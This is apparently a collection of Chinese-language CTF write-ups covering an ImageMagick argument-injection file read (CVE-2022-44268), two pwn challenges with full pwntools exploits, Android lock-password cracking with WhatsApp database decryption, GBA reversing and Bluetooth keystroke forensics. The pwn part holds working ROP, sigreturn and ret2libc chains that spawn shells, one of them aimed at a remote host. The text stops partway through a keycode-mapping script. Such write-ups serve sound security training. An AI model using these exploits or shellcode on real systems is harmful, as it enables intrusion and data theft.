WEB

窥视

一个简单的论坛系统

核心的api有

登录 POST /auth/login
注册 POST /auth/register 
创建/回复帖子 POST /forum/post

审了一圈代码,唯一可操作的地方应该就是创建帖子(POST /forum/post)那一块了,这里有个文件图片上传

ValidationMiddleware("post", "/forum"),
  async function (req, res) {
    const { title, message, parentId, ...convertParams } = req.body;
    ...
    let attachedImage = null;
    if (req.files && req.files.image) {
      const fileName = randomBytes(16).toString("hex");
      const filePath = path.join(__dirname, "..", "uploads", fileName);
      try {
        const processedImage = await convert({
          ...convertParams,
          srcData: req.files.image.data,
          format: "AVIF",
        });

        await fs.writeFile(filePath, processedImage);

        attachedImage = `/uploads/${fileName}`;
      } catch (error) {
        req.flashError("There was an issue processing your image, please try again.");
        console.error("Error occured while processing image:", error);
        return res.redirect("/forum");
      }
    }
    ...
  }

随便进到一篇文章里po一张图片上去,结合POST表单和代码可以看出来,除了title, message, parentId三个参数外,其他参数都被写到convertParams里了,
const processedImage = await convert负责用convertParams里的参数对图片进行一个转换。

看了一下这个convert是来自npm包imagemagick-convert的,
而它又是一个imagemagick的简单的命令行调用工具。

那么这题的思路应该是去找imagemagick相关的漏洞了。

查了一下imagemagick相关的漏洞,果然有一个高度契合的,CVE-2022-44268 任意文件读取。原理大概就是在恶意的PNG内嵌入一个profile关键字,然后值设置为某个文件名,那ImageMagick会对文件进行读取并写到生成的PNG内,详细可以看https://www.metabaseq.com/imagemagick-zero-days/

这个漏洞只有转PNG文件的时候才会出现,但是从代码可以看出来作者设置的输出的图片类型是AVIF。

const processedImage = await convert({
          ...convertParams,
          srcData: req.files.image.data,
          format: "AVIF", // AVIF格式
        });

最开始想到的就是参数覆盖,因为convertParams,也就是表单除了title, message, parentId以外的其它参数都在convertParams里,
我们可以在表单里传一个format: "PNG",但是js的特性,后面同名的键会覆盖前面的键,因为代码里传入的format在convertParams后面,所以不管format传什么,最后的值都是AVIF

这里又是一个卡住的点,既然问题出在imagemagick-convert,那么就去看看imagemagick-convert的源码。

简单看了一下imagemagick-convert的代码,发现确实写的很简单,本质上就是通过spawn调用ImageMagickconvert命令,然后在调用之前进行一些简单的参数拼接。这个composeCommand函数就负责对一些预设的attributesMap参数进行参数组合。最后再进行一个spawn的调用。

attributesMap = new Set([
        'density',
        'background',
        'gravity',
        'quality',
        'blur',
        'rotate',
        'flip'
    ]);
    composeCommand(origin, result) {
        const cmd = [],
            resize = this.resizeFactory();
        for (const attribute of attributesMap) {
            const value = this.options.get(attribute);
            // 拼接命令
            if (value || value === 0) cmd.push(typeof value === 'boolean' ? `-${attribute}` : `-${attribute} ${value}`);
        }
        if (resize) cmd.push(resize);
        cmd.push(origin);
        cmd.push(result);
        return cmd.join(' ').split(' ');
    }

    const origin = this.createOccurrence(this.options.get('srcFormat')),
        result = this.createOccurrence(this.options.get('format')),
        cmd = this.composeCommand(origin, result),
        cp = spawn('convert', cmd),
        store = [];

虽然它用的spawn,我们没办法进行node的命令注入,但是对它拼接的参数,还是有可操作性的。正常情况下,composeCommand返回的值是

[
  '-density',    '600',
  '-background', 'none',
  '-gravity',    'Center',
  '-quality',    '75',
  'PNG:-',       'AVIF:-'
]

一个参数对应一个值,假如我们在参数的值后面加上别的参数名和参数值呢?比如backgroud=none -resize 50%,那cmd就变成了

cmd [
  '-density',    '600',
  '-background', 'none',
  '-resize',     '50%',
  '-gravity',    'Center',
  '-quality',    '75',
  'PNG:-',       'AVIF:-'
]

之所以会这样,是因为cmd最后返回的时候是cmd.join(' ').split(' '),相当于把参数重新按空格分割了一下,我们传入的resize参数也就被注入进去了

既然可以注入参数,那我们就不用被js这层壳限制了,imagemagick原生的所有参数我们都可以用了,翻了一下ImageMagick的文档,发现有一个-write filename,可以把当前状态的图片写进文件里。因为ImageMagick这个CVE只要求写入的时候是PNG,所以也是完美符合我们的需求。注入一个-write exp.png,就可以成功利用这个CVE了。

那么最终的利用步骤为

1.用poc进行恶意图片的生成
./poc.py generate -o poc.png -r flag.txt

2.发送包

3.访问/uploads/exp.png下载我们写入的图片

4.执行./poc.py parse -i exp.png读取带出来的文件

5.hex转str之后拿到flag

这道题的这两个点还是比较有趣的,一个是对现有漏洞的利用,另一个是对冷门开源库(imagemagick-convert这个库npm每周下载量才几百)的审计。

PWN

有问题的ROP

Bin似乎并不复杂,它只包含了其_start和vuln()函数,以及read和write的辅助函数。

而且,NX(不可执行)在此处是启用状态…

因此,我们无法从堆栈执行自己的shellcode。

通过在GDB中运行二进制文件,我们可以看到存在溢出,这将导致段错误。

通过使用模式创建100/offset,我们可以看到在40字节之后发生了溢出。有一点需要注意的是:RAX 恰好包含我们的 100 + \n 的长度(0x65)。 因此,我们能够控制 RSP(栈指针)和 RAX(返回值),因此可能可以在这里进行一些 ROP 链的操作。

使用Python中的pwntools库,我们可以编写代码来测试是否能够通过设置 offset + vuln 函数地址 + 新的 RIP 来控制 RIP:

from pwn import *
p = process(['gdb-peda', 'sick_rop'])

offset = b'A'*40
vuln_addr = p64(0x40102e)
p.interactive()
p.sendline(offset + vuln_addr + b"BBBB") # 40 A offset, vuln address + 0x42424242 as new rip
p.recv(timeout=1)
p.sendline(b"AAAAA")
p.recv(timeout=1)
p.interactive()

在这里,我们可以看到我们完全能够通过这种方式控制 RIP。但是为了能够使用 ROP 链执行 shellcode,我们需要两个主要的 gadget:sigreturn 系统调用和 syscall 返回。

在这里,我们看到了 syscall; ret; 的地址是0x401014。正如之前所见,我们能够控制 RAX 的值,而这对于调用 sigreturn 系统调用是必要的:

sigreturn syscall gadget: rax=0xf; syscall

您可以更改我们的代码为:

from pwn import *
p = process(['gdb-peda', 'sick_rop'])

offset = b'A'*40
vuln_addr = p64(0x40102e)
p.interactive()
p.sendline(offset + vuln_addr + b"BBBB") # 40 A offset, vuln address + 0x42424242 as new rip
p.recv(timeout=1)
p.sendline(b"A"*14)
p.recv(timeout=1)
p.interactive()

我们可以看到我们的 RAX 值现在确实为0xf(mtproctect 系统调用)

接下来,为了构建 SigreturnFrame,我们还需要几个东西:bin 和 vuln() 函数的 PTR(指针)的基地址,可以通过 GDB 的 vmmap 命令找到基地址:

并使用 GDB 的 find 命令找到 vuln 函数的指针地址(VULN_ADDR):

现在我们可以构建我们的 mtprotect 调用:

from pwn import *
p = process(['gdb-peda', './sick_rop'])
context.arch = "amd64"

offset = b'A'*40
vuln_addr = p64(0x40102e)
vuln_ptr_addr = 0x4010d8
base_addr = 0x0000000000400000
syscall = p64(0x401014)

sigFrame = SigreturnFrame()
sigFrame.rax = 0xa # mtprotect syscall == 10
sigFrame.rdi = base_addr # Programs base address 0x0000000000400000
sigFrame.rsi = 0x4000 # Length
sigFrame.rdx = 7 # permissions R-W-X
sigFrame.rsp = vuln_ptr_addr #pointer addr to vuln function
sigFrame.rip = 0x401014 # syscall addr

p.interactive()
p.sendline(offset + vuln_addr + syscall + bytes(sigFrame)) # 40 A offset, vuln address + 0x42424242 as new rip
p.recv(timeout=1)
p.sendline(b"A"*14)
p.recv(timeout=1)
p.interactive()

现在我们可以看到 NX 被绕过了!我们还传递了一些’A’字符,我们可以看到其指针为0x4010b8,这就是我们的shellcode将被放置的地方!接下来,我们需要shellcode,我将使用shellstorm的23B shellcode,然后我们只需将所有这些组合在一起:

from pwn import *
#p = process(['gdb-peda','./sick_rop'])
p = remote("159.65.27.79",32030)
context.arch = "amd64"

# shellcode, length 23B
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

offset = b'A'*40
vuln_addr = p64(0x40102e)
vuln_ptr_addr = 0x4010d8
base_addr = 0x0000000000400000
syscall = p64(0x401014)

sigFrame = SigreturnFrame()
sigFrame.rax = 0xa # mtprotect syscall == 10
sigFrame.rdi = base_addr # Programs base address 0x0000000000400000
sigFrame.rsi = 0x4000 # Length
sigFrame.rdx = 7 # permissions R-W-X
sigFrame.rsp = vuln_ptr_addr #pointer addr to vuln function
sigFrame.rip = 0x401014 # syscall addr

p.sendline(offset + vuln_addr + syscall + bytes(sigFrame)) # 40 A offset, vuln address + 0x42424242 as new rip
p.recv(timeout=1)
p.sendline(b"A"*14)
p.recv(timeout=1)

p.sendline(shellcode + b'\x90' * (40-len(shellcode)) + p64(0x4010b8))
p.recv()
p.interactive()

这tm是在说什么?

在这个挑战中,我们得到了一个64位的二进制文件,是动态链接的,而且没有剥离符号信息。

┌──(brandy㉿bread-yolk)-[~/Downloads/htb-active]
└─$ file what_does_the_f_say        
what_does_the_f_say: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dd622e290e6b1ac53e66369b85805ccd8a593fd0, for GNU/Linux 3.2.0, not stripped

在反编译二进制文件后,发现在drinks_menu()符号处存在一个格式字符串漏洞(FSB)。

注意到我们可以一遍又一遍地利用这个漏洞(由于do-while循环)。需要注意的是,RELRO设置为FULL,因此我们无法覆盖全局偏移表(Global Offset Table)。在审查代码时,发现在warning()符号处存在潜在的缓冲区溢出(BOF)。

为了进入潜在的缓冲区溢出(BOF)部分,我们需要花费“rocks”(可能是一种虚拟货币)直到小于20。

好的!因此,我们只需不断发送“rocks”请求,直到我们的“rocks”库存低于20。

  1. 泄露canary值(因为启用了栈保护)。

  2. 泄露PIE –> 计算PIE基址(因为启用了PIE,因此需要计算PIE基址以访问gadgets)。

  3. 泄露libc –> 计算LIBC基址(因为我们想要进行RET2LIBC攻击)。

RET2LIBC PAYLOAD
Padding + canary + junk + stack_align + rdi + /bin/sh + libc.sym.system

在远程服务器上泄露了libc地址后(为了更容易猜测libc版本),我泄露了__libc_start_main_ret

无论如何,要获取正确的libc,(剧透)有点懒得泄露IO_STDINIO_STDOUT等。所以我尝试了每一个,直到成功获取shell为止。我不会展示获取正确LIBC地址的尝试和错误,因为我通过暴力破解得到了正确的地址,哪一个给我shell就是正确的地址。

以下是到目前为止的脚本:

from pwn import * 
import os 
os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript="""
init-pwndbg
continue
""".format(**locals())

exe = './what_does_the_f_say_patched'
elf = context.binary = ELF(exe, checksec=True)
# context.log_level = 'ERROR'
context.log_level = 'INFO'
# context.log_level = 'DEBUG'

# library = '/lib/x86_64-linux-gnu/libc.so.6'
library = './libc.so.6'
libc = context.binary = ELF(library, checksec=False)

def pie_leak(offset):
    sh.sendline(b'1')
    sh.sendline(b'2')
    sh.sendline('%{}$p'.format(offset))
    sh.recvuntil(b'Kryptonite?\n')
    get = sh.recvline().strip()
    get = int(get, 16)
    return get

def libc_leak(offset):
    sh.sendline(b'1')
    sh.sendline(b'2')
    sh.sendline('%{}$p'.format(offset))
    sh.recvuntil(b'Kryptonite?\n')
    get = sh.recvline().strip()
    get = int(get, 16)
    return get

def canary_leak(offset):
    sh.sendline(b'1')
    sh.sendline(b'2')
    sh.sendline('%{}$p'.format(offset))
    sh.recvuntil(b'Kryptonite?\n')
    get = sh.recvline().strip()
    get = int(get, 16)
    return get

sh = start()
# pause()

leak_pie = pie_leak(15)
info(f'LEAKED PIE BASE: {hex(leak_pie)}')
elf.address = leak_pie - 0x174a
success(f'PIE_BASE --> {hex(elf.address)}')

libc_addr = libc_leak(25)
info(f'LIBC --> {hex(libc_addr)}')
libc.address = libc_addr - 0x21b97
success(f'LIBC_BASE --> {hex(libc.address)}')

# canary = canary_leak(23)
canary = canary_leak(13)
success(f'CANARY --> {hex(canary)}')

'''
pwndbg> x/i 0x7fbbef13d18a
   0x7fbbef13d18a <__libc_start_call_main+122>: mov    edi,eax
pwndbg> x/gw 0x7fbbef13d18a
0x7fbbef13d18a <__libc_start_call_main+122>:    0xffe8c789
pwndbg>s
'''

rop = ROP(elf)
rdi = rop.find_gadget(['pop rdi', 'ret']).address
success(f'RDI GADGET --> {hex(rdi)}')

ret = rop.find_gadget(['ret']).address
success(f'RET GADGET --> {hex(ret)}')

sh.interactive()

运行结果:

现在让我们花费所有的"rocks"并发送我们的payload。

from pwn import * 
import os 
os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript="""
init-pwndbg
continue
""".format(**locals())

exe = './what_does_the_f_say_patched'
elf = context.binary = ELF(exe, checksec=True)
# context.log_level = 'ERROR'
context.log_level = 'INFO'
# context.log_level = 'DEBUG'

# library = '/lib/x86_64-linux-gnu/libc.so.6'
library = './libc.so.6'
libc = context.binary = ELF(library, checksec=False)

def pie_leak(offset):
    sh.sendline(b'1')
    sh.sendline(b'2')
    sh.sendline('%{}$p'.format(offset))
    sh.recvuntil(b'Kryptonite?\n')
    get = sh.recvline().strip()
    get = int(get, 16)
    return get

def libc_leak(offset):
    sh.sendline(b'1')
    sh.sendline(b'2')
    sh.sendline('%{}$p'.format(offset))
    sh.recvuntil(b'Kryptonite?\n')
    get = sh.recvline().strip()
    get = int(get, 16)
    return get

def canary_leak(offset):
    sh.sendline(b'1')
    sh.sendline(b'2')
    sh.sendline('%{}$p'.format(offset))
    sh.recvuntil(b'Kryptonite?\n')
    get = sh.recvline().strip()
    get = int(get, 16)
    return get

def spend_rocks():
    sh.sendline(b'1')
    sh.sendline(b'1')

    sh.sendlineafter(b'food',b'1')
    sh.sendline(b'1')

    sh.sendlineafter(b'food',b'1')
    sh.sendline(b'1')

    sh.sendlineafter(b'food',b'1')
    sh.sendline(b'1')

    sh.sendlineafter(b'food',b'1')
    sh.sendline(b'1')

    sh.sendlineafter(b'food',b'1')
    sh.sendline(b'1')

def get_inside_vuln():
    sh.sendlineafter(b'food',b'1')
    sh.sendline(b'2')
    sh.sendline(b'aa')

sh = start()
# pause()

leak_pie = pie_leak(15)
info(f'LEAKED PIE BASE: {hex(leak_pie)}')
elf.address = leak_pie - 0x174a
success(f'PIE_BASE --> {hex(elf.address)}')

libc_addr = libc_leak(25)
info(f'LIBC --> {hex(libc_addr)}')
libc.address = libc_addr - 0x21b97
success(f'LIBC_BASE --> {hex(libc.address)}')

# canary = canary_leak(23)
canary = canary_leak(13)
success(f'CANARY --> {hex(canary)}')

'''
pwndbg> x/i 0x7fbbef13d18a
   0x7fbbef13d18a <__libc_start_call_main+122>: mov    edi,eax
pwndbg> x/gw 0x7fbbef13d18a
0x7fbbef13d18a <__libc_start_call_main+122>:    0xffe8c789
pwndbg>s
'''

rop = ROP(elf)
rdi = rop.find_gadget(['pop rdi', 'ret']).address
success(f'RDI GADGET --> {hex(rdi)}')

ret = rop.find_gadget(['ret']).address
success(f'RET GADGET --> {hex(ret)}')

spend_rocks()

p = flat([
    asm('nop') * 0x18,
    canary,
    asm('nop') * 0x8,
    ret,
    rdi,
    next(libc.search(b'/bin/sh')),
    # ret,
    libc.sym['system']
])

get_inside_vuln()

sh.sendlineafter(b'?', p)
sh.interactive()

下面是远程效果

MOBILE

特工调查

解压附件后,会得到一个名为 backup.ab 的文件和一个名为 system 的文件夹。文件扩展名 ab 表示 Android 备份文件。在对此进行调查时,发现可以使用 adb restore 命令进行恢复。于是连接手机并尝试使用该命令,但发现无法成功解锁,可能是因为设置了密码。

正如题面中所提到的,似乎需要找到密码才能解锁。如果进入 system 文件夹查看,可能会发现一些 .key 文件。

根据这里和那里的信息,分析的结果可以总结如下: 首先,可以在 device_policies.xml 文件中找到正在使用的密码类型。可以看到密码是由5个小写字母组成的。

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<policies setup-complete="true">
<active-password quality="262144" length="5" uppercase="0" lowercase="5" letters="5" numeric="0" symbols="0" nonletter="0" />
</policies>

这样一来,gesture.key 文件可能就不再需要了。gesture 文件通常是由设置手势时生成的键文件。由于当前使用密码,因此应该分析 password.key 文件。
password.key 文件总共有36字节。前20字节经过SHA1加密,而最后16字节经过MD5加密。您可以根据需要选择其中一个进行使用。

E135432C47718760B2FD7AF5CFF7A7608A926ED6B5515B7D0DB34FF62F5C388A88B1665C

接下来是 locksettings.db 文件。在这里,您可以找到用于密码的 salt 值,该值为 6675990079707233028。

使用上述哈希值和salt值,您可以设置好参数,然后使用hashcat进行暴力破解攻击。由于已经知道了密码的长度和格式,这种方法可能比字典攻击更有效。

这个破解过程是针对 Android 4.4 及以下版本的手机密码。请注意,这些方法在更高版本的 Android 操作系统中可能已被修复或不再适用。

已知密码后,您可以使用abe.jar来解压缩备份文件。

java -jar abe.jar unpack <backup.ab> <output.tar> <password>

生成了名为 backup.tar 的文件,您只需解压缩它。这样一来,您就可以查看到 apps 和 shared 等目录。

查看 shared/0/ 目录时,发现 WhatsApp 部分的大小与其他部分不同。

在 WhatsApp 的 Databases 目录中,您发现了一个名为 msgstore.db.crypt14 的文件。通过搜索发现,这是一个用于存储消息的数据库。然而,由于附加了 .crypt14 扩展名,您也意识到这也是加密的。

为了解密这个文件,您需要知道密钥,而密钥文件则位于 apps/com.whatsapp/files/key 目录下。用于解密这个数据库文件的工具可以在这里找到。通过提取msgstore.db文件的message表,可以获得flag。

MISC

怀旧游戏

LiveOverflow(如果你不认识他,他在信息安全主题上制作了很棒的视频)最近逆向了Pokemon Red,所以我对Gameboy有一些了解。我查找了他使用的模拟器(SameBoy)并安装了它。

启动它,然后… 它不工作。显然,Gameboy和Gameboy Advance是两回事。Google一下,我找到了mGBA(并且它在arch用户仓库中)。

我很喜欢Ghidra,因为它是免费的,我已经习惯使用它,所以让我们安装一个架构插件。由于现在我们知道GBA与GameBoy是不同的,所以我们不能在这里使用GhidraBoy。我决定使用由SiD3W4y制作的GhidraGBA

安装使用以下命令(将/opt/ghidra替换为你的ghidra安装目录):

git clone https://github.com/SiD3W4y/GhidraGBA.git
cd GhidraGBA
export GHIDRA_INSTALL_DIR=/opt/ghidra
gradle

然后,应该在dist/中构建一个.zip文件。进入Ghidra,选择“File” > “Install Extensions…”,然后选择zip文件。

如果不起作用,请使用Google,我不知道我如何修复的任何问题。

好的,回到mGBA。控件写在man页中(RTFM),但在这里也有(GBA按钮=按键):

  • A = x

  • B = z

  • L = a

  • R = s

  • Start = Enter

  • Select = Backspace

  • 方向键 = 方向键

让我们使用以下命令启动游戏:

mgba Nostalgia.gba

启动画面

让我们尝试按一些按钮:

好吧,输入被打印到屏幕上。看起来我们需要获取正确的代码(如果我们早点读了说明书,我们现在应该知道)。

我们不能输入超过8个按钮,按Start什么都不会发生,按Select会重置它。我们可以尝试暴力破解,但这有什么乐趣呢…

启动Ghidra并导入.gba文件。如果扩展的安装有效,它应该被识别为GBA ROM。

void _entry(void)
{
  IME = 0x4000000;
  FUN_0800019c(0x2240,0x8000000,0x2000000,0x1386c);
  /* WARNING: Treating indirect jump as call */
  (*(code *)0x2000000)();
  return;
}

入口点看起来有点奇怪,这是有道理的,因为它可能做了一些GBA启动工作或ghidra没有正确识别函数。所以让我们采取另一种方法

我们知道“游戏”主要读取输入,而我知道键盘输入是内存映射的(感谢LiveOverflow的视频)。

所以让我们看看这是保存在哪里的。Google给出了地址0x4000130,而GhidraGBA甚至将地址标记为KEYINPUT。

我们甚至已经看到了两个引用(其中一个是指针)0x080015fa(R)和0x080017ac(*)。很好!

好的,让我们跳到0x080015fa:

伪代码大约有150行,所以让我们逐部分查看

void ReadInput(void)
{
  DISPCNT = 0x1140;
  FUN_08000a74();
  FUN_08000ce4(1);
  DISPCNT = 0x404;
  FUN_08000dd0(&DAT_02009584,0x6000000,&DAT_030000dc);
  FUN_08000354(&DAT_030000dc,0x3c);
  ...

这可能只是一些初始化工作,但现在没有什么有趣的,但顺便说一下: DISPCNT是GameBoy的显示控制寄存器,只是告诉显示器你要对它做什么。

do {
  lastKeys = uVar3;
  activeKeys = KEYINPUT | 0xfc00;
  puVar5 = &DAT_0200b03c;
  uVar3 = activeKeys;
  do {
    uVar1 = DAT_030004dc;
    uVar4 = *puVar5;
    /* 上一帧按下并且现在没有按下? */
    if ((uVar4 & lastKeys & ~uVar3) != 0) {
      ...

好的,这里变得更有趣了。上一帧按下的键保存下来,然后与当前帧进行比较。似乎我们想知道uVar4是否在lastKeys中,而不在当前键中,也就是所谓的松开按钮。

如果我们想知道哪些键被按下,我们可能需要一个枚举对吧?好吧,这里它是:

typedef enum KEYS
{
  A       = (1 << 0),
  B       = (1 << 1),
  SELECT  = (1 << 2),
  START   = (1 << 3),
  RIGHT   = (1 << 4),
  LEFT    = (1 << 5),
  UP      = (1 << 6),
  DOWN    = (1 << 7),
  R       = (1 << 8),
  L       = (1 << 9)
}

这看起来很好看,但我想要数字mason…

  • A = 1

  • B = 2

  • SELECT = 4

  • START = 8

  • RIGHT = 16

  • LEFT = 32

  • UP = 64

  • DOWN = 128

  • R = 256

  • L = 256

好的,现在这个问题已经解决了,可能会变得有趣。

/* SELECT */
if (uVar4 == 4) {
  inputCount = 0;
  uVar2 = FUN_08001c24(DAT_030004dc);
  FUN_08001868(uVar1,0,uVar2);
  _DAT_05000000 = 0x1483;
  FUN_08001844(&DAT_0200ba18);
  FUN_08001844(&DAT_0200ba20,&DAT_0200ba40);
  incVal = 0;
  uVar3 = activeKeys;
}
else {
  ...

好的,SELECT重置了一些值,如果它重置了所有输入,那是有道理的。这里需要注意的是inputCount和incVal,稍后会详细介绍。

/* START */
if (uVar4 == 8) {
  if (incVal == 0xf3) {
    DISPCNT = 0x404;
    FUN_08000dd0(&DAT_02008aac,0x6000000,&DAT_030000dc);
    FUN_08000354(&DAT_030000dc,0x3c);
    uVar3 = activeKeys;
  }
}
else {
  ...

START应该提交代码,在这里它检查一个变量(incVal),然后执行一些操作。但我们如何将incVal设置为0xf3?

if (inputCount < 8) {
  inputCount = inputCount + 1;
  FUN_08000864();
  /* RIGHT */
  if (uVar4 == 0x10) {
    incVal = incVal + 0x3a;
LAB_08001742:
    local_2c = &DAT_0200ba0c;
  }
else {
  if (uVar4 < 0x11) {
    ...

它检查一个变量是否小于8,而我们的长度是8,所以它可能是当前代码长度?(剧透:是的)。

之后它变得混乱。可能是反编译器的问题,但是许多标签被引入,有时这些标签似乎有点无用。但是,嘿,当我们按RIGHT时,incVal增加了0x3a。但这还不足以达到我们的目标0xf3…

/* A */
if (uVar4 == 1) {
  incVal = incVal + 3;
LAB_08001766:
  local_2c = &DAT_0200b9f8;
}
else {
  iVar4 = 0xe;
  /* B */
  if (uVar4 != 2) {
LAB_0800168a:
    iVar4 = 0;
  }
  incVal = iVar4 + incVal;
  ...

有更多奇怪的反编译代码。A添加3到我们的值,B添加0xe。我看到了一个模式…

代码继续检查按钮键并将其添加到incVal中,如果按下则添加。这里是按钮和增加值的列表(我更喜欢表格,但Jekyll Now显然不能做到…):

  • A = 0x3

  • B = 0xe

  • UP = 0x28

  • DOWN = 0xc

  • LEFT = 0x6e

  • RIGHT = 0x3a

现在我们可以计算所需的按钮,因为我们不需要确切的8个输入,只需要最多8个。

你可能可以计算哪个代码是正确的,但这是我手动减法得出的代码:

UP UP UP UP UP UP A
0x28 * 6 + 0x3 = 0xF3

输入这串按键并按下开始按钮,你将看到欢迎flag。嗯,有点简短…

总体而言,这是一个相当酷但简单的挑战(如果你知道从哪里开始),逆向过程类似GameBoy的奇特架构。 你也可以生成一个用于与mGBA调试的gdb会话,但在这里可能并不需要。

如果您想看到反编译怪物的完整伪代码,请参见以下内容:

// ReadInput函数
void ReadInput(void)
{
  DISPCNT = 0x1140;
  FUN_08000a74();
  FUN_08000ce4(1);
  DISPCNT = 0x404;
  FUN_08000dd0(&DAT_02009584,0x6000000,&DAT_030000dc);
  FUN_08000354(&DAT_030000dc,0x3c);
  uVar3 = activeKeys;
  do {
    lastKeys = uVar3;
    activeKeys = KEYINPUT | 0xfc00;
    puVar5 = &DAT_0200b03c;
    uVar3 = activeKeys;
    do {
      uVar1 = DAT_030004dc;
      uVar4 = *puVar5;
      /* 上一帧按下并且现在没有按下? */
      if ((uVar4 & lastKeys & ~uVar3) != 0) {
                    /* SELECT键 */
        if (uVar4 == 4) {
          inputCount = 0;
          uVar2 = FUN_08001c24(DAT_030004dc);
          FUN_08001868(uVar1,0,uVar2);
          _DAT_05000000 = 0x1483;
          FUN_08001844(&DAT_0200ba18);
          FUN_08001844(&DAT_0200ba20,&DAT_0200ba40);
          incVal = 0;
          uVar3 = activeKeys;
        }
        else {
          /* START键 */
          if (uVar4 == 8) {
            if (incVal == 0xf3) {
              DISPCNT = 0x404;
              FUN_08000dd0(&DAT_02008aac,0x6000000,&DAT_030000dc);
              FUN_08000354(&DAT_030000dc,0x3c);
              uVar3 = activeKeys;
            }
          }
          else {
            if (inputCount < 8) {
              inputCount = inputCount + 1;
              FUN_08000864();
              /* RIGHT键 */
              if (uVar4 == 0x10) {
                incVal = incVal + 0x3a;
LAB_08001742:
                local_2c = &DAT_0200ba0c;
              }
              else {
                if (uVar4 < 0x11) {
                    /* A键 */
                  if (uVar4 == 1) {
                    incVal = incVal + 3;
LAB_08001766:
                    local_2c = &DAT_0200b9f8;
                  }
                  else {
                    iVar4 = 0xe;
                    /* B键 */
                    if (uVar4 != 2) {
LAB_0800168a:
                      iVar4 = 0;
                    }
                    incVal = iVar4 + incVal;
                    /* LEFT键 */
                    if (uVar4 == 0x20) {
LAB_080016ea:
                      local_2c = &DAT_0200ba08;
                    }
                    else {
                      if (uVar4 < 0x21) {
                        if (uVar4 == 2) {
                          local_2c = &DAT_0200b9fc;
                        }
                        else {
                          if (uVar4 == 0x10) goto LAB_08001742;
                          if (uVar4 == 1) goto LAB_08001766;
                        }
                      }
                      else {
                        if (uVar4 == 0x80) goto LAB_08001754;
                        if (uVar4 < 0x81) {
                          if (uVar4 == 0x40) goto LAB_08001778;
                        }
                        else {
                          if (uVar4 == 0x100) {
                            local_2c = &DAT_0200ba04;
                          }
                          else {
                            if (uVar4 == 0x200) {
                              local_2c = &DAT_0200ba00;
                            }
                          }
                        }
                      }
                    }
                  }
                }
                else {
                  /* UP键 */
                  if (uVar4 == 0x40) {
                    incVal = incVal + 0x28;
LAB_08001778:
                    local_2c = &DAT_0200ba10;
                  }
                  else {
                    /* DOWN键 */
                    if (uVar4 != 0x80) {
                      /* LEFT键 */
                      if (uVar4 != 0x20) goto LAB_0800168a;
                      incVal = incVal + 0x6e;
                      goto LAB_080016ea;
                    }
                    incVal = incVal + 0xc;
LAB_08001754:
                    local_2c = &DAT_0200ba14;
                  }
                }
              }
              uVar1 = FUN_08001bc4(DAT_030004dc,local_2c);
              _DAT_05000000 = 0x1483;
              DAT_030004dc = uVar1;
              FUN_08001844(&DAT_0200ba18);
              FUN_08001844(&DAT_0200ba20,uVar1);
              uVar3 = activeKeys;
            }
          }
        }
      }
      puVar5 = puVar5 + 1;
    } while (puVar5 != (ushort *)&UNK_0200b050);
  } while( true );
}

FORENSICS

中间人

在互联网上搜索这种类型的文件,可以发现它是一个蓝牙捕获文件,可以用Wireshark打开。

Wireshark打开文件,然后_解码为…_选择“BT HID”。 可以看到大多数数据包的长度为15,而少数是17。

分析蓝牙HID配置文件时,可以注意到:

  • 长度为15的数据包是鼠标捕获

  • 长度为17的数据包是键盘捕获

更仔细地查看长度为17的数据包,我们发现:

  • 数据包548是字母 ‘h’ 的捕获

  • 数据包750是字母 ’t’ 的捕获

  • 数据包982是字母 ‘b’ 的捕获

  • 数据包1285是 ‘[’ 的捕获

最后一个是相当奇怪的,因为通常=flags以 ‘{’ 开头。 牢记这个信息,我们注意到

暗示着这是 ‘{’ 而不是 ‘[’。

提取所有键盘字符,并检查它们是否与 ‘Shift’ 键同时按下。

tshark -r "mitm.log" -d 'btl2cap.cid==65,bthid' -Y 'bthid.data.protocol_code == 0x01' -Y 'usbhid.boot_report.keyboard.keycode_1 != 0x00' -T fields -e 'usbhid.boot_report.keyboard.modifier.left_shift' -e 'usbhid.boot_report.keyboard.keycode_1' | tr '\t' ',' > payload

得到

0,0x28
0,0x28
1,0x0b
1,0x17
1,0x05
1,0x2f
1,0x0e
0,0x20
0,0x1c
1,0x16
0,0x17
1,0x15
0,0x27
0,0x0e
0,0x08
1,0x16
1,0x2d
1,0x06
0,0x27
0,0x10
1,0x13
0,0x15
0,0x27
0,0x10
0,0x1e
0,0x16
0,0x20
0,0x07
1,0x30

我们需要将十六进制转换为ASCII字符,需要一个简单的Python脚本。

KEY_CODES = {
    '0x04':['a', 'A'],
    '0x05':['b', 'B'],
    '0x06':['c', 'C'],
    '0x07':['d', 'D'],
    '0x08':['e', 'E'],
    '0x09':['f', 'F'],
    '0x0a':['g', 'G'],
    '0x0b':['h', 'H'],
    '0x0c':['i', 'I'],
    '0x0d':['j', 'J'],
    '0x0e':['k', 'K'],
    '0x0f':['l', 'L'],
    '0x10':['m', 'M'],
    '0x11':['n', 'N'],
    '0x12':['o', 'O'],
    '0x13':['p', 'P'],
    '0x14':['q', 'Q'],
    '0x15':['r', 'R'],
    '0x16':['s', 'S'],
    '0x17':['t', 'T'],
    '0x18':['u', 'U'],
    '0x19':['v', 'V'],
    '0x1a':['w', 'W'],
    '0x1b':['x', 'X'],
    '0x1c':['y', 'Y'],
    '0x1d':['z', 'Z'],
    '0x1e':['1', '!'],
    '0x1f':['2', '@'],
    '0x20':['3', '#'],
    '0x21':['4', '$'],
    '0x22':['5', '%'],
    '0x23':['6', '^'],
    '0x24':['7', '&'],
    '0x25':['8', '*'],
    '0x26':['9', '('],
    '0x27':['0', ')'],
    '0x28':['\n','\n'],
    '0x29':['␛','␛'],
    '0x2a':['⌫', '⌫'],
    '0x2b':['\t','\t'],
